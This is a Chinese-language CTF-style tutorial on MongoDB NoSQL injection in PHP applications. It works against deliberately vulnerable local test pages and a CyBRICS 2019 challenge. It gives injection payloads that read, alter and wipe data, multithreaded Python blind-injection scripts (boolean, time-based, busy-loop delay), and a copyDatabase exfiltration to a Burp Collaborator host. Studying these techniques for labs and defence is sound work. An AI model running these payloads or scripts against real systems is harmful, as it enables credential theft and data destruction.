前言
MongoDB
MongoDB 属于 NoSQL 数据库的一种,是由C++语言编写的一个基于分布式文件存储的开源数据库系统,旨在为Web应用提供可扩展的高性能数据存储解决方案。在高负载的情况下,添加更多的节点,可以保证服务器性能。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
MongDB 数据库一共两个端口
27017: MongDB的数据库端口
28017: MongDB的web管理接口
php5 的 MongoDB 扩展比 php7 的好用,测试最好用 php5 的 MongoDB 扩展,本文所有环境均在 php 5.5.9|MongoDB 2.0.4 下测试,windows系统,如有更换环境会提前注释说明。安装 MongDB 扩展在这,两版本操作对比如下
php5
(new MongoClient())->{$db}->{$collection}->findOne(['_id' => $id]);
php7
$mongo = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query(array(
'_id'=>$id
));
$result = $mongo->executeQuery('db.collection', $query)->toArray();
// 返回的$result是一个对象,需要 toArray() 转换成数组。
基础概念
SQL 概念 | MongoDB 概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
基础语法
开启数据库
mongod -dbpath 绝对路径\data\db
连接数据库
mongo
显示所有数据库的列表
show dbs
使用/创建数据库
use test
删除数据库
db.dropDatabase()
创建集合
db.createCollection("users")
# 创建固定集合 history,整个集合空间大小 6142800 B, 文档最大个数为 10000 个
db.createCollection("history", { capped : true, autoIndexId : true, size : 6142800, max : 10000 } )
# 在 MongoDB 中,你不需要创建集合。当你插入一些文档时,MongoDB 会自动创建集合
db.users.insert({"username" : "admin", "password": "admin123"})
删除集合
db.users.drop()
插入文档
db.users.insert({
username:"admin",
password:"admin123"
})
更新文档
db.users.update({'password':'admin123'},{$set:{'password':'flag{Mo4g0_1nj3cti0n_g4m2!}'}})
save
db.users.save(
<document>,
{
writeConcern: <document>
}
)
删除文档
db.users.remove(
<query>,
{
justOne: <boolean>,
writeConcern: <document>
}
)
格式化(使得输出更美观)
> db.users.find({username:'admin'}).pretty()
{
"_id" : ObjectId("611102a8093f2b542d000029"),
"userid" : 0,
"username" : "admin",
"password" : "flag{Mo4g0_1nj3cti0n_g4m2!}"
}
注入方式
首先初始化一个用户组,方便后续测试,运行或者访问皆可
<?php
$m = new mongoclient();
$db = $m->test;
$coll = $db->users;
$ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwsyz';
$data = array(
'userid'=>0,
'username'=>'admin',
'password'=>'flag{Mo4g0_1nj3cti0n_g4m2!}'
);
$coll->insert($data);
for ($i=1; $i < 10; $i++) {
$str = '';
for ($j=1; $j < 10; $j++) {
$str .= $ch[rand(0, strlen($ch)-1)];
}
$data = array(
'userid'=>$i,
'username'=>'user'.$i,
'password'=>$str
);
$coll->insert($data);
}
echo 'Init finish!';
?>
find查找注入
#从当前数据库的集合user中查找id大于1文档
db.users.find({'id':{$gt:1}})
常用语法
$gt : > {“field”: {$gt: value}}
$lt : < {“field”: {$lt: value}}
$gte: >= {“field”: {$gte: value}}
$lte: <= {“field”: {$lte: value}}
$eq : = {“field”: {$eq: value}}
$ne : !=、<> {“member.age”: {$ne: “mine”}}
$exists 存在与否 {“couponsCode.0”: {$exists: 1}} #数组存在第一条数据
$in : in 包含 {“member.age”: {$in: [null], “$exists: true”}}
$or:or || 或者 {“$or”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$not: 反匹配(1.3.3及以上版本)
$and:and && 并且 {“$and”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$regex 正则匹配 ({“name”:{“$regex”:’^a$’}})
$size 元素个数 ({“name”:{“$size”:3}}) # $size name元素数为3
<?php
/*
* @ mongo find echo injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
'username'=>$username,
'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</p>";
}
}
else{
echo 'Cannot find users :(';
}
?>
结合 php 可以传递数组的性质,我们在不知道账号密码的情况下通过不等于带出
db.users.find({"username": {"$ne": "1"},"password": {"$ne": "1"}})
也就是
?u[$ne]=1&p[$ne]=1
如果为了匹配其中一条信息,则可以用 $regex 带出
> db.users.find({"username": {"$regex": "^a"},"password": {"$regex": ".*"}})
{ "_id" : ObjectId("610fac3edb8c2e7a7384e3e9"), "password" : "flag{Mo4g0_1nj3cti0n_g4m2!}", "username" : "admin" }
也就是
?u[$regex]=^a&p[$regex]=.*
<?php
/*
* @ mongo find echo injection2
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</p>";
}else{
echo 'Cannot find users :(';
}
}else{
echo $data['errmsg'];
}
?>
这一次就无法进行数组注入了, 因为数组拼接后会只显示 Array 字眼, 需要拼接 function 内的语句进行注入
?u=&p='});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}//
自己窜写 data 变量,相当于重新赋值
function(){var data = db.users.findOne({username:'',password:''});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}
//'});return data;}
也可以直接从 return 下手
u=&p='});return db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});}//
好像是高版本不支持注释,那就尝试其它的payload
?u=&p='});var data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1
?u=&p='});data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1
覆盖值的时候多赋值一个变量
这种情况下也可以理所当然的查值,爆版本集合,类似联合注入
?u='});return ({username:db.version(),password:tojson(db)});var fuck = ({'test':'&p=1
?u='});return ({username:db.version(),password:tojson(db.getCollectionNames())});var fuck = ({'test':'&p=1
?u='});return ({username:db.version(),password:tojson(db.users.find())});var fuck = ({'test':'&p=1
这样子会爆出类似 mongdb find() 函数的脚本
那就一行行带出
?u='});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
既然有这样的function可插入那么中间就可以进行多条语句执行
# 添加
?u='});db.users.insert({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删除
?u='});db.users.remove({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 更新
?u='});db.users.update({username:'test'},{$set:{'password':'12345678'}});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删库
?u='});db.users.remove({});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
可以这么做的原因我们可以跟进一下 execute 方法,会发现是直接执行一条数据库的命令。
可能是太危险了… MongoDB 2.4 之后 db
属性就已经访问不到了,也就是我们不能再通过上述语句进行操作了。
<?php
/*
* @ mongo find bind injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
if($data['retval']['username'] == 'admin') {
echo 'welcome admin';
}else{
echo 'welcome user, you are not admin!';
}
}else{
echo 'Cannot find users :(';
}
}else{
echo $data['errmsg'];
}
?>
也就是要是成功查询到了这一条一句就会给出正确回应,相反则是给出查无此用户的回应,我们可以通过伪造admin进行登录,在不知道密码的情况下
?u='});return ({username:'admin',password:''});var fuck = ({'test':'&p=1
如果想要爆出集合和数据,得利用判断条件
?u='});if(db.version()[0]=='2'){return ({username:'admin',password:''})};var fuck = ({'test':'&p=1
通过是否登录为 admin 来判断字符是否正确
然后就是写脚本注入,本人还是喜欢二分法,速度快,也就是 ==
需要替换为 >
或者 <
,但是跑的过程中总会有部分失误的地方,所以两种样式的脚本都会贴上
# -*-coding:utf-8-*-
import requests
# input url
url = "http://localhost/CTF/test89/find3.php"
def find_bind():
flag = ''
for i in range(1000):
low = 32
high = 128
while low < high:
mid = (low + high) >> 1
payload = "'});if(db.version()" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db)" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
data = {
'u': payload,
'p': '1'
}
# print(data)
res = requests.get(url=url, params=data)
if "welcome admin" in res.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
print(flag)
# 有时候卡顿会直接 break 退出, 所以注释掉了
# else:
# break
if __name__ == "__main__":
find_bind()
==
注入比较慢,本文采用多线程
# -*- coding: utf-8 -*-
import threading
import requests
import random
import base64
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': '1'
}
# print(data)
res = requests.get(url=url, params=data, headers=headers)
# print(res.text)
if "welcome admin" in res.text:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
# lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/find3.php"
# 一次输出几位
thread = 5
main(thread)
另一种盲注,也就是数组盲注
<?php
/*
* @ mongo find bind injection2
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
'username'=>$username,
'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->findOne($data);
if($data['username'] != null){
if($data['username'] == 'admin'){
echo 'welcome admin';
}else{
echo 'welcome user, you are not admin!';
}
}
else{
echo 'Cannot find users :(';
}
?>
通过数组正则读取信息
?u[$regex]=^a&p[$regex]=^flag.*$
然后写脚本爆破
# -*-coding:utf-8-*-
import requests
import string
# input url
url = "http://localhost/CTF/test89/find4.php"
dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + ':{}-_!`'
def find_bind():
flag = ''
for i in range(1000):
for mid in dic:
guess = flag + mid
payload = "^" + guess + ".*$"
data = {
'u[$regex]': '^a',
'p[$regex]': payload
}
# print(data)
res = requests.get(url=url, params=data)
# print(res.text)
if "welcome admin" in res.text:
flag += mid
print(flag)
break
# if mid == '`':
# break
if __name__ == "__main__":
find_bind()
高版本下MongoDB添加了sleep()函数,我们利用这个sleep()函数和闭合的技巧来实现基于时间的盲注
<?php
/*
* @ mongo find bind injection3
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
return true;
}else{
return false;
}
}else{
echo $data['errmsg'];
}
?>
通过是否查询的到信息来决定是否延时
?u='});if(db.version()[0]=='2'){return sleep(1000);};var fuck = ({'test':'&p=1
多线程还是容易乱,调到一线程就行
# -*- coding: utf-8 -*-
import threading
import requests
import random
import time
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': '1'
}
before_time = time.time()
# print(data)
res = requests.get(url=url, params=data, headers=headers)
after_time = time.time()
offset = after_time - before_time
# print(res.text)
if offset > 1:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/find5.php"
# 一次输出几位
thread = 1
main(thread)
如果 sleep 无法使用的话,可以使用类似 DOS 攻击的延时操作
?u='});if(db.version()[0]=='2'){return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'&p=1
DOS 攻击payload是属于叠加的,所以提高线程很容易一下就崩了, 而且单线程还要延时跑
# -*-coding:utf-8-*-
import requests
import time
# input url
url = "http://localhost/CTF/test89/find5.php"
def find_bind():
flag = ''
for i in range(1000):
for mid in range(32, 128):
# payload = "'});if(db.version()" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':"
# print(payload)
data = {
'u': payload,
'p': '1'
}
# print(data)
before_time = time.time()
res = requests.get(url=url, params=data)
after_time = time.time()
offset = after_time - before_time
# print(offset)
time.sleep(1)
if offset > 1:
flag += chr(mid)
print(flag)
break
# if mid == 127:
# break
if __name__ == "__main__":
find_bind()
然后另一种以数组方式注入就无法实现实现时间盲注
> db.users.find({'username': {'$regex': '^a'}, 'password': {'$where': 'function(){sleep(1000);}'}})
error: { "$err" : "invalid operator: $where", "code" : 10068 }
(Burp > Burp Collaborator client > Copy to clipboard)
db.copyDatabase('test','users',db.version()+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')
db.copyDatabase('test','users',tojson(db)+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')
后面的有特殊字符就不好发,采用 javascript正则替换特殊字符为空
db.copyDatabase('test','users',tojson(db.getCollectionNames()).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')
db.copyDatabase('test','users',tojson(db.users.findOne({},{_id:0})).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')
但是直接嵌入 payload 中会发现有这个问题
Assertion: 10298:can't temprelease nested write lock
mongdb 把嵌套写入的方式锁住了,所以一般不在数据库中执行可能几乎用不上。
where条件注入
使用$where运算符可以将包含JavaScript表达式的字符串或完整的JavaScript函数传递给MongoDB来执行
<?php
/*
* @ mongo where injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$query = array('$where'=>"function() {if(this.username == '$username' && this.password == '$password') {return true;}}");
xdebug_var_dump($query);
$result = $coll->find($query);
if ($result->count() > 0) {
foreach ($result as $user) {
echo 'username: '.$user['username']."<br />";
echo 'password: '.$user['password']."</p>";
}
}
else{
echo 'Cannot find users :(';
}
我们只需要在function中拼接我们需要的语句再返回就行了
?u='||1){return true;}}//&p=1
这样可以带出该集合下的所有用户
然后可以制定特定的 payload 盲注据库名和集合
?u='||db.version()[0]=='2'){return true;}else{return false;}if('&p=1
根据正确返回和错误返回的特征进行判断,正确返回用户
错误返回未找到此用户
==
用多线程跑
# -*- coding: utf-8 -*-
import threading
import requests
import random
import base64
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'||db.version()" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# payload = "'||tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# payload = "'||tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
payload = "'||tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': ''
}
# print(data)
res = requests.get(url=url, params=data, headers=headers)
# print(res.text)
if "user1" in res.text:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
# lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/where1.php"
# 一次输出几位
thread = 5
main(thread)
拿一道真实的例题来讲
<?php
/*
* @ mongo where bind injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = filter_var($_GET['u']);
if (preg_match("/(eval|sleep|this|and|or)/i", $username) == 1){
die('Hacker :(');
}
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->user;
$query = array('$where' => "if(this.username == '$username') {return true;}");
xdebug_var_dump($query);
$data = $coll->find($query);
$data->count();
很明显 $where 存在拼接注入, 如果能用 sleep 那么 payload 将会是这样的
?u='||db.version()[0]=='1'){return true;}else{sleep(1000);}if('
不能使用的话就是用 DOS payload
?u='||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})()}if('
在响应中我们可以看到延时是否成功
[conn1] query test.users query: { $where: "if(this.username == ''||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); ..." } nscanned:10 reslen:20 9999ms
[CyBRICS-CTF-Quals-2019]NopeSQL
上来扫到有 .git 泄露,用 GitHack 提取,提取到了 index.php 的源码,重点部分如下
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}
通过 POST 传参会自动设置为 Cookie 然后在 $raw_query
可以直接进行 Nosql 的拼接注入,无过滤,那我们需要达到的效果如下
{"username":{"$regex":"^a"},"password":{"$ne":"1"}}
匹配 admin 用户但是密码不等于1,这样就能准确的匹配到 admin 账号,POST传参如下
username[$regex]=^a&password[$ne]=1
但是本地测试后发现是 json_decode 搞得鬼,不能传数组过去,但是想到json传参有个二次赋值
username=1&password=","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1
这样拼接进去
{"username":"1","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1"}
username 相当于二次赋值,用正则去匹配,$where 则是达成一个永恒的正确条件,前提是前面查询不出错
进来以后接着往下看其他功能
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
聚合(aggregate)是基于数据处理的聚合管道,每个文档通过一个由多个阶段(stage)组成的管道,可以对每个阶段的管道进行分组、过滤等功能,然后经过一系列的处理,输出相应的结果
注: mongodb 2.0.4 shell 没有这个功能,所以以下步骤采用了 mongodb 4.2.15 shell
与 SQL 相比如下
SQL 操作/函数 | mongodb聚合操作 |
---|---|
where | $match |
group by | $group |
having | $match |
select | $project |
order by | $sort |
limit | $limit |
sum() | $sum |
count() | $sum |
join | $lookup (v3.2 新增) |
可以在aggregate()方法上使用的聚合运算符
运算符 | 说明 |
---|---|
$project | 通过重命名,添加或删除字段重塑文档。你也可以重新计算值,并添加子文档。例如,此例子包括title并排除name:{$project:{title:1,name:0}};该例是把name重命名为title的例子:{$project{title:”$name”}};这个例子是添加一个新的total字段,并用price和tax字段计算它的值的例子:{$project{total:{$add:[“$price”,”$tax”]}}} |
$match | 通过使用query对象运算符来过滤文档集 |
$limit | 限定可以传递到聚合操作的下一个管道中的文档数量。例如{$limit:5} |
$skip | 指定处理聚合操作的下一个管道前跳过的一些文档 |
$unwind | 指定一个数组字段用于分割,对每个值创建一个单独的文档。例如{$unwind:”$myArr”} |
$group | 把文档分成一组新的文档用于在管道中的下一级。新对象的字段必须在$group对象中定义。你还可以把表2中列出的分组表达式运算符应用到该组的多个文档中。例如,使用下面的语句汇总value字段:{$group:{set_id:”$0_id”,total:{$sum:”$value”}}} |
$sort | 在把文档传递给处理聚合操作的下一个管道前对它们排序。排序指定一个带有field:<sort_order>属性的对象,其中<sort_order> |
聚合 $group 表达式运算符
运算符 | 说明 |
---|---|
$addToSet | 返回一组文档中所有文档所选字段的全部唯一值的数组。例如:colors:{$addToSet:”color”} |
$first | 返回一组文档中一个字段的第一个值。例如:firstValue:{$first:”$value”} |
$last | 返回一组文档中一个字段的最后一个值。例如:lastValue:{$last:”$value”} |
$max | 返回一组文档中一个字段的最大值。例如:maxValue:{$max:”$value”} |
$min | 返回一组文档中一个字段的最小值。例如:minValue:{$min:”$value”} |
$avg | 返回一组文档中以个字段的平均值。例如:avgValue:{$avg:”$value”} |
$push | 返回一组文档中所有文档所选字段的全部值的数组。例如:username:{$push:”$username”} |
$sum | 返回一组文档中以个字段的全部值的总和。例如:total:{$sum:”$value”} |
可用在聚合表达式的字符串和算术运算符
运算符 | 说明 |
---|---|
$add | 计算数值的总和。例如:valuePlus5:{$add:[“$value”,5]} |
$divide | 给定两个数值,用第一个数除以第二个数。例如:valueDividedBy5:{$divide:[“$value”,5]} |
$mod | 取模。例如:{$mod:[“$value”,5]} |
$multiply | 计算数值数组的乘积。例如:{$multiply:[“$value”,5]} |
$subtract | 给定两个数值,用第一个数减去第二个数。例如:{$subtract:[“$value”,5]} |
$concat | 连接两个字符串 例如:{$concat:[“str1”,”str2”]} |
$strcasecmp | 比较两个字符串并返回一个整数来反应比较结果。例如 {$strcasecmp:[“$value”,”$value”]} |
$substr | 返回字符串的一部分。例如:hasTest:{$substr:[“$value”,”test”]} |
$toLower | 将字符串转化为小写。 |
$toUpper | 将字符串转化为大写。 |
在使用aggregate()聚合函数时,在里面是可以使用条件判断语句的。在MongoDB中 $cond
表示if判断语句,匹配的符号使用 $eq
,连起来为[$cond][if][$eq]
